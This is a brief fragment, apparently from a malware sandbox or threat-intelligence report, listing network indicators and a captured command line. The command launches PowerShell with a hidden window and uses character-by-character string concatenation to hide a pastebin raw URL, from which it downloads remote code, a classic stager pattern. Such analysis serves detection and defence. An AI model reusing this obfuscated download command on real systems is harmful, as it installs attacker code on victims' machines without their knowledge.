Technical Information
- 'pa###bin.com':443
- DNS ASK pa###bin.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -WindowStyle Hidden $_Xpin = ((New-Object Net.WebClient).DowNloAdSTRiNg('h'+'t'+'t'+'p'+'s'+':'+'/'+'/'+'p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c'+'o'+'m'+'/'+'r'+'a'+'w'+'/anwJPhH5'));$_X...' (with hidden window)